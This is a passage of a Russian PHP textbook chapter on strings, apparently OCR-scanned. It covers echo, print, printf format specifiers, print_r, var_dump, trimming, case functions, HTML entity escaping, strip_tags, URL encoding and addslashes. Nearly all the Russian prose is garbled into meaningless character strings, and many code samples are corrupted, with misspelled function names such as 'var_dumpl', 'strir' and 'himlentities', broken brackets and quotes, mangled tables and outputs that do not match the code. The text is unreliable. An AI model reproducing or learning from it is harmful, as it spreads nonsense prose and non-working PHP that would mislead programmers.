O/IMH pa3, B TO BPeMs Kak prinl{) BBIBOAUT TOJBKO OAHO 3HaueHue. DyHKUus
printf() cTpouT OTHOPMATHPOBAHHYIO CTPOKY, BCTaBJisisi 3HauyeHHsi B IUAGJIOH.
DyHKUUsS print_r() OObIYHO HCIOJIB3YETCS sl OTJAJKH - OHA BBIBOAUT CO-
JIEPXKMMOE MacCHBOB, 0GBEKTOB M APYrUX Belleii B 6oJiee MM MeHee YeJ0BeKO-
yuTaeMoii popme.

4.2.1. Koucrpykuus echo

Yrob6s BbiBectt HTML-koza crenepupoBanHoit Ha PHP ctpanuiibl, MCrob3yii-
Te echo. XOTs echo BBIMISAUT U BefeT cebst Kak (PYHKIMs, Ha CaMOM JIeJie echo -
KOHCTDPYKUHMS SI3bIKa. ITO 03HAYAET, YTO Bbl MOXKETE OMYCTHTb KPYTJIble CKOOKH,
TO €CTb CJIe[yIOLIHeE /1BA OTEPATOPA 3KBUBAJIEHTHBI:

echo "Buison”;
echo("Bsison”); // Takxe npasunsHo

Bbl MOXXeTe yka3aTh HECKOJIBKO 3JIEMEHTOB /IJ151 BbIBO/IA, Pa3/1eJIUB UX 3aMSIThIMU:
echo ”POS”, ”nBO”, ”Tp””;
BriBox:

Paspeatpu

B Kpyribix cKoGKax HeJsib3si MCIOJIb30BaTh HECKOJIbKO 3HAYEHHit, HHayYe T0JTy-
4yHTE OIIUOKY:
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// 370 owmbkal

" n "y,
v

echo("Mpuset”, “mup

[Tockosbky echo He sIBJIsIeTCS MOJHOLEHHOH (PYHKIIMEH, Bbl HE MOXKETE MCITOJIb-
30BaTb €€ B 00JIee KPYITHBIX BHIPAXKEHUSAX:

// 3710 owmbkal
if (echo("tect”)) {
echo("Pabotaet!”);

}

Taxux omnbok jerko usbexarn, UCTOJIb3Ys] (PYHKIMHU print() U printf().

4.2.2. Oynkums print()

KoHctpyxius print() oTripaBisiet B 6pay3ep oqHO 3HayeHHe (CBOIi apryMeHT):

if (print("Tect”)) {
print(“Pa6oraet!”);

}
BriBox:

tectPaboraer!

4.2.3. OyHkums printf()

DyHKUUA printf() BHIBOAUT CTPOKY, IIOCTPOEHHYIO IIyT€M MOACTAHOBKM 3Ha-
yeHUH B WabJIoH (B cmpoky hopmama). AHanorndHasi GYyHKIMS C TAKMM XKe Ha-
3BaHHEM ecTb B cTangaptHou 6ubnnorexe C. [lepBblit apryMeHT, nepeaBaeMbii
B printf{) - aT0 cTpoka ¢opmara. OcTaBuiMecss apryMeHTbl - 3HaY€HHs], KOTO-
pble O6yayT nozcTaBiieHsl B CTPOKY ¢opmara. CUMBOJ % B cTpoke hopMarta 060-
3HAYyaeT MOICTAHOBKY.

Cneuudukatop popmara

Kaxplit Mapkep MOJCTAaHOBKM COCTOUT M3 3HAKa MpoIlleHTa (%), 32 KOTOPhIM
cJIefyeT ofuH uiu 6oJiee TOMOTHUTENbHBIX 3IEMEHTOB B TOM MOPSIZIKE, B KOTO-
POM OHHU NepeducieHbl 3/1ech (UCIOJIb3yHTe %% /7151 MOJyYeHUsl OJHOTO 3HaKa
IPOLIEHTA B BHIBOJIE):

e CreundukaTop 3anoJHeHus, ONpeNeAouMi, Kakoi cumMBoa 6yeT uc-
I0JIb30BaThCA AJA AOMOJHEHHMs pe3yJbTarta A0 HeoOXOMMMOH UJIMHBI.
VYkaxuTe 0, npobes uiau Jo00i CHMBOJI C MOMOLIbIO OAMHAPHOM KaBbIY-
xu1. [To yMOIYaHHIO B Ka4€CTBE 3aMOJHUTEINS MCIIOJIb3YeTCs: Mpobel.

e 3Hak WM crieliduKaTop BoIpaBHUBaHUs. [l CTPOK U YKCEJT Y STOTO MO-
nauduKkaTopa pa3Hoe HasHayeHue. [ CTPOK MUHYC (-) 3a/1a€T BbIPAaBHH-
BaHMe BJIEBO (110 YMOJYAHHUIO BbIPAaBHMBAETCS BNPaBo). [lyig ynces mioc
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(+) 3acTaBJseT BbIBOAUTD YHUCJIA C TUAUPYIOLIUM 3HAKOM +, TO eCTh 35 6y-
JIeT BbIBE/IEHO Kak +35.

e MuHUMaIbHOE YUCJIO CHMBOJIOB, KOTOPOE /I0JKHO ObITh B 3TOM 3JIEMEHTE.
Ecnu B pesysibrate OyaeT MeHbllle CUMBOJIOB, Oy/IeT HCIOIB30BaH OMUCa-
TeJIb 3aMOJHEHHUS], YTOODI IOTIOJIHUTD 3JIEMEHT 10 3TOM JJIUHbIL.

e Jlnsa yucen ¢ mJaBaiouleil 3amsaTod crnequ@HUKATOp TOYHOCTH 33/aerT,
CKOJIbKO 3HAKOB OyZI€T 1OCJjIe 3aMnsiToil B pe3y/IbTUPYIOllei CTpoKe. ITOT
crieiiuKaTOp UCMOJb3yeTcst TOJIbKO 1151 BoiBoaa double-3Hauenwuit, aust
OCTAJIbHBIX TUIOB 3HAYEHUI OH UTHOPUPYETCSI.

Cneuuduxaropn THNA

CneuudukaTop THMa ykasbiBaeT prinff() NaHHbIE KAaKOTO THIA BbIBOASITCS.
OH ompenensieT UHTEPNPETALHUIO paHee NMpUBeNeHHBIX creludukaTopos. [o-
CTYITHO BOCEMb THIIOB, TPUBeJIeHHBIX B TabuLe 4.2.

Ta6nuua 4.2. Cneyunduxaropsl THNa printf()

Cneuundukartop Y10 o3Havaer
% i OTo6paxaeT cumeon %
b ApPrymeHT - uenoe 4ucno v otobpaxaeTcs B ABOUYHOM BUAE
& . ApPrymeHT - uenoe 4y1cno n otobpaxaetcs kak cumeon ¢ 3tum ASCII-
| HOMEpOM
d ' ApPrymeHT - uenoe 41cno 1 otobpaxaercs B A€CATUHHOM BUAE
e | AprymeHT Tvna double v BbIBOOUTCS B HAy4HOW HOTaUMM
.............. E ' AprymeHT TUNa do:]t;ie 1 BbIBOAUTCS B HAY4HOM HOTALUMK C UCNONbL30-
| BaHWEM CUMBO/IOB BEPXHErO PerucTpa
o . | AprymenT cunTaeTca “MCnoM ¢ nnasaiolued 3ansoi (float) u oto- |
6paxaetcs B dopmarte, yCTaHOBNEHHOM B nOKanu
- _ F I ApryMeHT cyuTaeTcs Yucnom ¢ nnasatoer 3anatoi (float) KaK_e;Tb .....
6e3 3aBMCUMOCTU OT nokanu
g BbibupaeT camyio KkpaTkyio 3anuckb U3 %e v %f
G Bbi6bupaeT camyio KpaTkyto 3anucb U3 %E u %f
o Lienoe uy1cno, BLIBOAUTCA B BOCbMEPUYHOM CUCTEME
o ADFYMeHTCTDOK;M_OTcgp axaemg KaKeCTb ..............................
u | Uenoe Ge3anaHoe YMCnO B AGCATUIHOM Buae
X Llenoe q;cno B LLECTHAAUATEPUYHOM BUAE, BCGICMMBOHR{D_(IJHHHG
X Llenoe 4y1cno B LuecTHaauaTepuyHoM Buae, BCE CUMBOSbI nponnénbue
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YTunura printf() kKaxxeTcsi o4eHb CJOXKHOHW JIIOASIM, KOTOpbIE DaHblile HE IMPO-
rpammupoBaiu Ha C. Kak ToJbKo BbI ee UCIOJIb3yeTe XOTs1 Obl ONMH pa3, Bbl 00-
Hapy>XkuTe, YTO ITO OYE€Hb MOLIHAsK yTUINTa (hopMaTHpoBanusi. PaccMoTpum He-
CKOJIBKO IPUMEPOB:

o Yucno c niaBarwlueii 3anAToii ¢ AByMsi 3HAKaMH 10CJIe JeCATHYHOM 3ansTOi:

printf('%.2f, 27.452);
BoiBox:
27.45

o JlecATUYHDIN U 1IECTHAAIIATEPUYHBINA BBIBOL;
printf(’lWectHapuatepuuroe anavenne %d = %x’, 214, 214);
BoiBon:

WecrHapuatepuuHoe aHavenme 214 =d6

L] IIOHOJ'IHHCM eJsgoe 4Y1ucJjo a0 3 3HAKOB, 3allOJIHHUTEJIb - 0:
printf('Bona. Oxeitmc Bona. %03d.', 7);

BeiBon:
bona. Oxeimc bona. 007.

e (DMopmartupyem aary:

printf('%02d/%02d/%04d", $month, $day, $year);
BriBon:

09/15/2019

° BbIBOI[ ITPOLIEHTOB:

printf('%.2f%% 3asepweno’, 2.1);

BuoiBox:

2.10% 3asepweHo

e JlonmosiHeHMe YKcIa C NJIaBAKOLLIEH 3aMSATON:
printf('Bu notpatunm $%5.2f, 4.1);
BroiBox;

Bui notpatunm $ 4.10



: Coset. PyHkuus sprintf() NPpUHUMAET TakMe Xe aprymeHTbl, Kak 1
i &) PyHkums printf(), HO NOMeLLI@eT pe3ynLTaT B CTPOKY, @ HE BLIBOAWT €ro
; B 6pay3ep. [laBaiiTe COXpaHUM B CTPOKE AAaTy B HYXXHOM popmarte ans
; nocneaylowero NCNonb30BaHUsN:

$date = sprintf(“%02d/%02d/%04d", $month, $day, $year);
// Tenepsb Bbl MOXeM UHTepnonuposaTs $date, koraa Ham noHapobutcs aata

;
L
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3
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1
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3
)
)
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4.2.4. ®yuxumm print_r() u var_dump()

KoHcTpyKiMs print_r() MHTENIEKTyalbHO MOAXOAMT K OTOOPa€HHIO BCEro
TOro, 4TO el ObLIO TNepeJaHo, B OTJIMYME CKaXeM OT echo M print(), KOTOPBI
BeCb CBOM BbIBOJ CBOJAAT B OIHY CTPOKY. B CJly4ya€ CO CTPOKaMHU U YUCJIaMH HU-
KaKOW PasHUIIbI HET, a BOT MAaCCUBBI Oy/IyT MpeAcTaBJeHbl B opMare ¢ MOKa3oMm
KJIIOYEH U 3JIEMEHTOB. le/l 9TOM I€pEA BbIBOAOM MaCCHUBA YKa3bIBA€TCA CJIy)KE6‘
HO€ CJIOBO Array:

$a = array(’name’ => ‘Fred’, ‘age’ => 35, ‘wife’ => 'Wilma');

print_r($a);

Array
(

[name] => Fred
[age] =>35
[wife] => Wilma)

Wcniosnb3oBanue print_r() AJs BbIBOJA MacCuBa IepeMelaeT BHYTPEHHHUH
UTEPATOp Ha MocJeHHit aeMeHT MaccuBa. CM. IJ1. 5 11 TMOJIyYyeHus MoApoo-
Hou uHdopMaluu 06 uTepaTopax U MacCUBaXx.

Koraa Bl nepenaaute B print_r() 0OBEKT, Bbl yBUAMTE CJIOBO Obiject, a aib-
e 6yAyT MoKasaHbl MHUIHATU3UPOBAHHbIE CBOMCTBA 0OBEKTA, KAK M B CJydae
C MacCHBOM:

class P {
var $name ='nat’;

// -

)
$p =newP;

print_r($p);
BruiBox;

Object
(

[name] => nat)
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Jlornyeckue 3Hayenus ¥ NULL 060CHOBaHHO He 0TOOPaXaTcs print_r():

print_r(true); // suiBenet “1%;
1
print_r(false); // BoiBeper “”;

oy,

print_r(null); // suiBener *”;

[To 3TOM nMpUYMHE MJs OTJAAKK NPEeANOoYTHTeIbHee HCIOJIb30BaTh var_dump(),

Kotopas orobpaxaer PHP-3Hauenus B yeioBekourtaeMoM dhopMare:

var_dump(true);
var_dumpl(false);
var_dump(null);
var_dumplarray('name’ => “®pen”, 'age' => 35));
class P {
var $name = 'Hat';
V7
}
$p=newP;
var_dump($p);

BoiBog:

bool(true)

bool(false)

bool(null)

array(2) {
[“name”]=>
string(4) “®Ppen”
["age”]=>
int(35)

}

object(p)(1) {
[“name”]=>
string(3) “Hat”

}

Bynasre ocTopoXHBI NMPH HMCNOJIB30BAaHUU print_r () UAU var_dump () U cje-
auTe, yToObI UM He Oblia nepe/iaHa peKypCUBHas CTPYKTYPa, Takail Kak $GLOBALS
(tme 3anuch GLOBALS ykasbiBaeT Hasaq Ha ceGs). B aToMm ciydae print_r() BO¥-
neT B 6eCKOHEYHbI LUK, a var_dump() He TMOKa3bIBA€T OJMH U TOT XK€ 3JIEMEHT
6oJiee Tpex pa3 (TO eCTh MOJYYHUTE TPU UTEPALIUH BMECTO OECKOHEYHOTO [[MKJIA).

4.3. NMonyyeHnne AOCTYNA K OTAENbHBIM CUMBONAM

DyHKIMSA strlen() BO3BpALIAET YHCJIO CHMBOJIOB B CTPOKE:

$string = 'Hello, world';
$length = strlen($string); // $length = 12
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BbI MOJXeTe HCIT0JIb30BAaTb CHHTAKCHC CMELIEHHUA CTPOKH 1A AO0CTyINa K OTAEJ1b-
HbIM CUMBOJIaM CTDOKH:
$string = 'Hello';

for ($i=0; $i < strlen($string); $i++) {
printf(“Cumeon noa Homepom %d - %s\n”, $i, $string {$i});
} N

BriBon:

Cumeon nop Homepom 0 - H
Cumson nog Homepom 1 - e
Cumeon noa Homepom 2 - |
Cumeon nog Homepom 3 - |
Cumeon nop Homepom 4 - o

4.4. Ouncrka cTpoK

YacTo cTpOKH MbI noJy4yaeM U3 ¢GaiiioB HJTH OT MOJIb30BaTeJIEN U Mepel UCIIOTb-
30BaHHEM HX HYXKHO «TIOAYUCTUTH». /[Be Hauboiee yacTHBIX MPOOJIEMBI C TAKHU-
MU JIaHHBIMH - JIUIIHHE MPOOEJbl U HEMpPaBHIbHBIA PETHCTP CUMBOJIOB (BEpPX-
HUH/HUXHUA PETUCTP).

Yaanenue npobenbHbiX CHMBONOB

VianuTh JUAMpYIOLIME MM 3aBepuiaioiye Npobeabl MOXHO (QYHKIMAMU
trim(), ltrim() 31 rtrim().
$trimmed = trim(string [, charlist ]);

$trimmed = ltrim(string [, charlist ]);
$trimmed = rtrim(string [, charlist ]);

DyHKIMSA trim() BO3BPALIAET KOMMIO sting € yAaJE€HHbBIMU MpoOejaMU B Ha-
yase U KoHlue cTpoku. DyHkuus ltrim() (3mech | o3Hauaer lefi, cieBa) yaa-
JisieT mpobesibl TObKO B Hayase cTpoku. (DyHKIMS rrim() (37€Ch r 03HAYaeT
right, cripaBa) yaaisieT npobGesbl B KoHIle CTPokU. Heobsi3aTebHbIil aprymMeHT
charlist - 3T0 CTPOKa, KOTOpasi ONpeeasieT CUMBOJIbI, KOTOPbie OYIyT yAaJEeHbl.
Mo yMoyanuio OyayT yaaeHbl BCe CHMBOJIBL, PEACTaBIeHHbIe B TabHIe 3.

Ta6nuua 4.3. Cumsonsi, yaansemoie GpyHkuuamu trim(), Itrim(), rtrim()

Cumson ASCIl-xkon Y10 o3Hauaer
“ 0x20 MNpoben
) Y. TR |l N——— S TaOYNAWRL e
“\n” 0x0A Hoeas cTpoka (nepeBoA CTpOKu)
g 0x0D Boaspat kapeTku
“\0” 0x00 | NUL-6ait -
“\x0B" 0x0B BeptukansHas Tabynauums
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Hampumep:

$title = Mporpammmposanme na PHP \n”;

$sir1 =Itrim($title); // $str1 =" Nporpammuposanme na PHP \n"
$str2 = rtrim($title); // $str2 = " Mporpammuposanme na PHP"
$str3 = trim($title); // $str3 = "Mporpammmposanme a PHP”

B cienyromem npuMepe Mol yaanseM Bce NpobesibHble CHUMBOJIbI, KPOME CHMBO-
Jia Ta6y1151u1/m, B Ha4daJjie U KOHIIE CTpOKI/IZ
$record = * Pepopos\tPenop\t35\tBukroposmu\t \n";

$record = trim($record, “ \r\n\0\x0B");
// $record = "®Penopos\tPenop\t35\tBukroposmy”

W3meHeHne peructpa

B PHP ectp Heckonbko GyHKIMI 1151 ©”3BMEHEHHUS PETUCTPA CUMBOJIOB CTPOK:
stiolower() M strtoupper() paboTaloT cO Bceil CTPOKOHM, ucfirst) pabo-
TaeT TOJIbKO C MEPBbIM CUMBOJIOM CTPOKH, ucwords() paboTaeT ¢ mepBbIM CHM-
BOJIOM KaXXJIOT0 cJIoBa B cTpoke. Kaxxnas ¢yHKIMS MPUHUMAET CTPOKY B Kaye-
CTBe apryMeHTa U BO3BpallaeT U3MEHEHHYIO Konuio cTpoku. Hanpumep:

$string1 = "MIBAH ueaHos”;
$string2 = “nasen netpos”;
print(strtolower($string1));
print(strtoupper($string 1));
print{ucfirst{ $string2));
print{ucwords($string2));

BeiBox:

MBAH MBAHOB
MBAH MBAHOB
Masen netpos
Masen Metpos

ECJII/I Y BaC €CTb CTPOKa CO CMEUIaHHbIM peFPICTpOM, " 3Ty CTPOKY KOTOpOﬁ BbI
XOTHUTe Mpeobpa3oBaTh B “PErUCTp 3aroyioBKa”, rie nepsas 6yKBa Kax10ro CJo-
Ba HAXOAMUTCS B BepXHeM peructpe (muuiercsi ¢ 6oJbinoit GyKBbI), @ OCTABIIH-
€CsA CHUMBOJIbI HAaXOAATCA B HHXXHEM perHCTpe, HCHOHbSyﬁTe KOM6I/IHaHI/I}O
strtolower() ¥ ucwords():

print{ucwords(strtolower($string 1)));
BeiBox:

Mean MeaHos



______________
4.5. KogupoBanue n 3kpaHupoBaHmne

ITockonbky PHP-nporpammsl yacto B3aumozeictyior ¢ HTML-ctpanunamuy,
Be6-anpecamu (URL), 6a3amMu JaHHBIMM, cedyac MbI PaCCMOTPUM (DYHKIMH,
KOTOpbI€ TIOMOTYT BaM B pabore ¢ atumu Tunamu aanusix. HTML, agpeca Be6-
CTPaHMIl ¥ KOMaH[bl 6a3bl JAHHBIX - 3TO CTPOKM, HO KaXKAasi U3 HUX TpedyeT
cBoero crnocoba 3KpaHMPOBaHUsI (MTOrOBOTO BbIBOAA) cMMBOJIOB. Hampumep,
npobesst B URL nosmkHBI ObITH 3amucanbi Kak %20, a 3Hak Menbiie (<) B HTML-
NIOKyMeHTe IoJKeH ObITh 3amMeHeH Kak &Mt B PHP npexycMoTpeHo MHOXeCTBO
BCTPOEHHbIX QYHKLUI /151 peo6pa3oBaHKsi MEXIY ITUMU KOXUPOBKAMH.

4.5.1. B ¢popmar HTML

Crnenmanbhbele cumBosibl B HTML npeacraBisiroTes: cywpocmsamu, Hanpumep,
&amp; 1 &l;. B PHP ects aBe dyHKuny, KOTOpHIE MO3BOJSIOT NPeoOpa3oBaTh
crienrasabHble cuMBOJIBI cTpoku B ux HTML-cymHocTy: ofHa 47151 yAajieHus
HTML-Teros, a Apyrasi TOIbKO AJis1 U3BJI€4EHUS] METa-TETOB.

AkpaHMpOBaHMe BCeX cneyuanbHbiX CHMBONOB

DyHkuus  himlentities() 3aMeHsieT Bce crelMajibHble CHUMBOJIBI (32 MCKJIIO-
yeHueM npobesioB) Ha HTML-cymHoctu. B pesysbrate 6ynyT 3aMeHeHbl 3HaKH
MeHblile (<), 6osblie (>), amnepcaHa (&) U APyrue CUMBOJIBI, 1Jis1 KOTOPBIX CY-
wectByloT HTML-cymnocT.

Hanpumep:
$string = htmlentities{“Einsturzende Neubauten”);
echo $string;

BriBox;

Einsturzende Neubauten

B pesyabrate cumBoa i Oyner 3ameHeH Ha HTML-cyuHocts &uvuml; U Gyner
KOPPEKTHO 0TOOpaXkeH MpU MPOCMOTpe BeO-cTpaHuibl. Kak Bbl MOXeTe BUZIETS,
npobes He ObLT TpeoOpa3oBaH B &nbsp;.

DyHK1MS htmlentities() HA CAMOM JieJie TIPUHUMAET TPU MAPAMeTPa:
$output = htmlentities(input, quote_style, charset);

Heobsi3atenbHblii napametp charset 3afiaet KoAMPOBKY. [1o yMOTYaHUIO UCIIOIb-
3yercst koaupoBka 1SO-8859-1. Ilapamerp quote_style onpenensier, 6yayT au
ABOIHBIE MJIM ONMHAPHBle KaBbluku npeobpasoBanbl B HTML-cymnocTu. Ilo
YMOJIYaHUIO MCIIOJIb3YETCS 3HaueHue napameTrpa ENT_COMPAT, rip1 3TOM KOH-
BEPTUPYIOTCSI TOJIbKO JBOMHBIE KABBIYKM, IPU 3HaueHun ENT_QUOTES 06a Tuna
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KaBbluek 6yayT mpeob6pa3oBanbl, a eciiu yka3atb ENT_NOQUOTES KaBblYKM Oy Ay T
ocTaBJIeHbl Kak ecTb. HeT oniuy, KoHBepTUpYIOLIEeH TONIbKO OAMHADHbIE KaBbIy-
ku.. Hanpumep:

// TEeKCT C ABOMHbBIMU K OAMHAPHLIMK KOBbLIYKAMM

$input = <<< End

“Stop pulling my hairl” Jane's eyes flashed.<p>
End;

// npeobpasyem ABOHHbIE KABbINKM
$double = htmlentities($input);
// &quot; Stop pulling my hairl&quot; Jane's eyes flashed.&lt;p&gt;

// v BBOViHbIE, U OAMHAPHbIE
$both = htmlentities($input, ENT_QUOTES);
// &quot;Stop pulling my hairl&quot; Jane&#039;s eyes flashed.&lt;p&gt;

// ocTaensem KaBbIuKM Kak €CTb
$neither = htmlentities($input, ENT_NOQUOTES);
// “Stop pulling my hairl” Jane's eyes flashed.&lt;p&gt;

AKpaHMpoBaHUE TONLKO CUMBONOB cuHTakcuca HTML

DyHKUMA  htmispecialchars() KOHBEPTHPYET HaWMEHbIIMH Habop CyLIHO-
cTei, HeoOXOAMMBIX /Jis TeHepanuyu koppektHoro HTML-kona. Byayt konBep-
THUPOBaHbI CJIENYIOUIME CYIHOCTH:

e Amnepcann (&) npeobpasyercst B &amp;
o /IBoiiHas KaBbIuKa (”) npeoOpasyeTcs B &quot;

e Opunapuast kaBbiyka (') mpeobpasyercsi B &#039; (TOJIBKO B peXxXume
ENT_QUOTES).

e 3uak “Menbuie yeM” (<) npeobpasyercs B &l;
e 3nak “6osbuie yeM” (>) npeobpasyeTcs B '&gt;'

Ecan y Bac ectb npusoxenue, otobpaxaroliiee JaHHble, BBEJIEHHbIE M0JIb30Ba-
TejeM B ¢opMe, BaM HYXXHO TPOMYCTUTb UX 4epe3 htmispecialchars() mepen
orobpaxkeHneM WM coxpaHeHueM. Ecain Bbl 3TO He czenaeTe, a NOJIb30BaTEb
BBelIET CTPOKY Bpoje “yron < 30", 6pay3ep OyaeT CUMTATh CHElUaIbHbIE CHM-
Bosibl HTML-ko0M U B pe3yibTaTe 0TOOPa3UT UCKaXXEHHYIO CTPAHUILY.

Kak u  himlentities(), yHKIUs  htmispecialchars()  MOXXeT  NpPUHUMATD
TPpH apTyM€EHTa:

$output = htmlspecialchars(input, [quote_style, [charset]]);

Hapamerpsl quote_style u charset ¥MelOT TO Xe 3HAaueHHe, 4TO U sl
htmlentities().
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He cymectByer ¢yHkuuii anst obpaTHoro npeoOpa3oBaHusi CyLIIHOCTEH B OpH-
TMHAJIBHBIN TEKCT, TOCKOJIBKY 3TO PeaKo koraa HyXHo. OfHaKO CylllecTBYeT OT-
HOCHMTEJIbHO MPOCTON crocob cienath 3T0. Mcnoab3yiite GyHKUMIO get_html_
translation_table() 4151 TosydeHust TabJaMLUbl  MEepeBOAa,  MCIOJb3yeMOii
3TUMHU QYHKUUSMU B 3alaHHOM CTHJIe KaBbluek. Hanpumep, mosyuuts Tabauily
NepeBoa, KOTOPYIO UCIOJb3YET htmlentities(), MOXKHO Tak: '

$table = get_html_translation_table(HTML_ENTITIES);

[Toayuuth Tabauily MepeBoAa, KOTOPYID  MCHOJb3yeT htmlspecialchars()
B pexxuMe ENT_NOQUOTES, MOXHO Tax:

$table = get_html_translation_table(HTML_SPECIALCHARS, ENT_NOQUOTES);

ITocie 3TOro Mbl MOXEM 3epKaJjibHO OTPa3uTh TabJIMILYy epeBoa (IOMEHSTh Me-
CTaMU KJIIOYM M 3HAYEHUs1), MCIOJb3Ysl array_flip(), a 3aTeM BBIMOJHUTbH 00-
paTHoe npeoOpa3oBaHuUE:

$str = htmlentities(“Einsturzende Neubauten”); // 3axoanposaHo
$table = get_html_translation_table(HTML_ENTITIES);

$revirans = array_flip($table);

echo strir($str, $revIrans); // obpatHo B 0B6bIuHbIA TEKCT

BoiBoa:
Einsturzende Neubauten

KotneuyHo, Bbl MOXeTe Tak)ke MOJy4yuTh TabJMIly MepeBoia, 100AaBUTb B Hee
ApyTHe TnpeoOpa3oBaHMsi, KOTOPbIE Bbl XOTUTE OCYIIECTBUTH, a 3aTEM BbI3BaTh
stestr().  Hampumep, ecau  Bbl  XOTHTE, 4YTOOBI htmlentities() Takxke KOIU-
poBasia npobesibl B &nbsp, ciesaiiTe caeayolee:

$table = get_html_translation_table(HTML_ENTITIES);
$table[' '] = '‘&nbsp;";
$encoded = strir($original, $table);

Ynaneune HTML-Teros

ODyHKUuA strip_tags() yaansier HTML-teru u3 crpoku:

$input = ‘<p>Mpueer, &quot;kosboi&quot;</p>';
$output = strip_tags($input);
// $output = TMpuser, &quot;kos6oi&quot;’

ODyHKUUSA MOXET NPUHUMATh BTOPOIM apryMEHT, YKa3bIBaIOUIMM, KaKHe Teru
HY’KHO OCTaBMTb B CTPOKe. B cnucke Hy»HO yKka3aTb TOJIbBKO OTKPbIBAIOLHECS
Terv. 3aKpbIBaIOIIMeCs TerH YKa3bIBaTh HE HYXKHO.

$input =B ctpoke octanytca <b>xupHuie</b> <i>teru</i><p>’;
$output = strip_tags($input, '<b>');
// $output = 'B ctpoke octanyTcs <b>xupHsie</b> rerv’
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ATpubOyThl COXpaHEHHBIX TEroB He U3MEHSIOTCS (YHKUUEH strip_tags(). Ilo-
CKOJIbKY aTpuOyThl (HarmpuMep, style ¥ onmouseover) MOTYT BJIMSATb Ha BHeLI-
HUI BU/ ¥ I0BeJieHKe Be6-CTPaHHLIbl, COXPaHEHHE HEKOTOPBIX TEFOB C MOMOLIbIO
strip_tags() sIBJIsieTCsI MOTEHLIMAIbHO OMMAaCHOM 3aTeei.

WasneyenHne META-Teros

DyHKuMS  get_meta_tags() BosBpamaer MmaccuB META-trero  HTML-
ctpaHulibl, yka3aHHblit B Buge URL unu nokanpHoro ¢aitna. Mmena META-
TeroB (keywords, author, description M T.1.) CTAHOBSITCS KJIIOYaMH B MacCHU-
Be, a conepxxumoe META-Tera cTaHOBUTCS COOTBETCTBYIOUIMM 3HAUEHUEM:

$metaTags = get_meta_tags('http://www.example.com/");
echo “Paspaboruuk crpanmust { $metalags['author]}”;

BriBox:

Paspabotumk ctpanmusi: Meax Meakos

CuHTtakcuc 3Toi GyHKIUUY CIeayOUIMi:
$array = get_meta_tags(filename [, use_include_path]);

Ilepenaiite true B kauectBe use_include_path, uro6sr nossosuts PHP oTkpbl-
BaTh (hail1, ucnosb3ys ctanaapTHeli include-myTh.

4.5.2. Konseptuposauue B URL

B sa3sike PHP npeanycmotpensr ¢dyHkuuum nis koHBepTupoBaHus B URL-
KOIMPOBKY M 0OpaTHO, YTO MO3BOJISIET BaM co3[aBaTh U aexoaupoBath URL.
Ectb nBa Tuma URL-koaupoBaHusi, KOTOpPbIE OTJIMYAIOTCS coco6oM o6paboT-
ku npobesios. Iepsbiit criocob (onpexesned B RFC 3986) 3amensier mpobOeJibl
B URL nocienoBateibHOCTbIO CUMBOJIOB %20. BTopoii cnoco6 (peannsoBaH cu-
creMoil  application/x-www-form-urlencoded) ~ 3aMeHsieT  mpobesbl  CUMBO-
JIOM + ¥ UCIOJIB3YETCS PU MOCTPOEHUH CTPOK 3aMPOCOB.

3aMeTbTe, YTO BaM He HY)KHO UCII0J1b30BaTh 3TH ¢yHKUUHU Ha nmosHoM URL, Ta-
KOM Kak hitp;//www.example.com/hello, nockoJbKy OHM 3KPaHUPYIOT JABOETO-
YK U CJIEIIH, ¥ PE3YJIbTAT OyeT TAKUM:

http%3A%2F%2Fwww.example.com%2Fhello

Bam HyxHO koaupoBaTh Tosibko 4yacth URL (Bce, uto mocie http://www.
example.com/), a 3ateM 106aBUTh UMsI IPOTOKOJIA U JOMEHA.

Koauposanue u aekoguposanue no RFC 3986

[ st xopupoBanust ctpoku corsiacHo URL-cornamenuio RFC 3986 ucnonbayii-
Te GYHKLHUIO rawurlencode():
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$output = rawurlencode(input);

DyHKIMS TPUHUMAET CTPOKY M BO3BPALIAET €€ KOMHUIO, B KOTOPOU HEJOIYCTH-
Mble 1151 npuMeHenus: B URL cuMBosIbI 3akoaupoBansbl B hopmate %dd.

Ecsu BbI AMHaMU4YeCcKU reHepyupyeTe TUIePTEKCT [Jis1 CChLJIOK Ha CTPaHUIe, BaM
HYKHO KOHBEPTUPOBATh UX C IIOMOILBIO rawurlencode():
$name = “Programming PHP";

$output = rawurlencode($name);
echo "http://localhost/ { $output}”;

BriBoz:
http:/ /localhost/Programming%20PHP

O6paTHoe npeo6pa3oBaHe MOXHO BBITIOJHHUTH (HYHKIHEH rawurldecode|):

$encoded = 'Programming%20PHP';
echo rawurldecode($encoded);

BriBoz:

Programming PHP
KoaupoBaHue cTpoku napameTpos

Dyukuuu urlencode() ¥ urldecode() OTIMYAIOTCA OT UX Taw-BEPCHH TOJBKO
TEM, YTO OHH 3aMEHSIOT POOEJIbI 3HAKOM ILIIOC (+), a He MOCJIe0BATEIbHOCTHIO
%20. ATOT hopMaT UCTIOIb3YETCS /Jisl TOCTPOEHHUsI CTPOKH MTapaMeTPOB U 3Haye-
uuii Cookies. Mlurepnperatop PHP aBromatnuecku aekoaupyer CTpOKH mapa-
MeTpoB u 3Hauenus Cookie, m03ToMy BaM He HYKHO MCIIONBb30BaTh 3TH (hyHK-
LUK 1151 06pabOTKH AaHHBIX 3HAYEHUI.

CDyHKI_IHI/I IMOJIE3HBI AJ11 CO3AaHUA CTPOKH 3allpoca:

$baseUrl = 'hitp://www.google.com/q=';
$query = 'PHP sessions -cookies’;

$url = $baseUrl . urlencode($query);
echo $url;

BriBoz:

http:/ /www.google.com/q=PHP+sessions+-cookies

4.5.3. B popmar SQL

BossuiMHCTBO cucTeM ynpasieHust 6a3aMu aHHBIX TPeOYIOT, 4TOOBI CTPOKOBbIE
JuTtepasbl B Bamux SQL-3anpocax Gbuid 3kpaHMpoBaHbl. CxeMa KOAMPOBaHUS
Npe/eJIbHO MPOCTA - O/IMHAPHbIE KaBbIYKH, 1BOMHbIe KaBblykH, NU L-6aiiTs! 1 06-
paTHbIE CJIEIIH J0JXKHBI SKPAHUPOBATHCS C MOMOLIBIO 06paTHOro cienia. MyHK-
U addslashes() 106aBsieT 3T cJieny, a stripslashes() - yaansaer ux:



__________ naea 4. Crpoku

$string = <<< EOF

310 nukorna He Bynet pabotats,” 3akpuuana owa,
a 3atem Haxana knasuwy (\).

EOF; ;

$string = addslashes($string);

echo $string;

echo stripslashes($string);

BriBoxa:

\"3t0 nukoraa He bynet pabotate\” 3akpuuana oHa,
a 3atem Haxana knaeuwy (\\) key.

“to Hukoraa He Bynet pabotats” 3akpuuana owa,

a 3atem Haxana knaeuwy (\).

6yert, uTo6bl O ANHAPHbIE KaBbl4kK OblIM 3KPAHMPOBAHLI APYr MU 0aN-
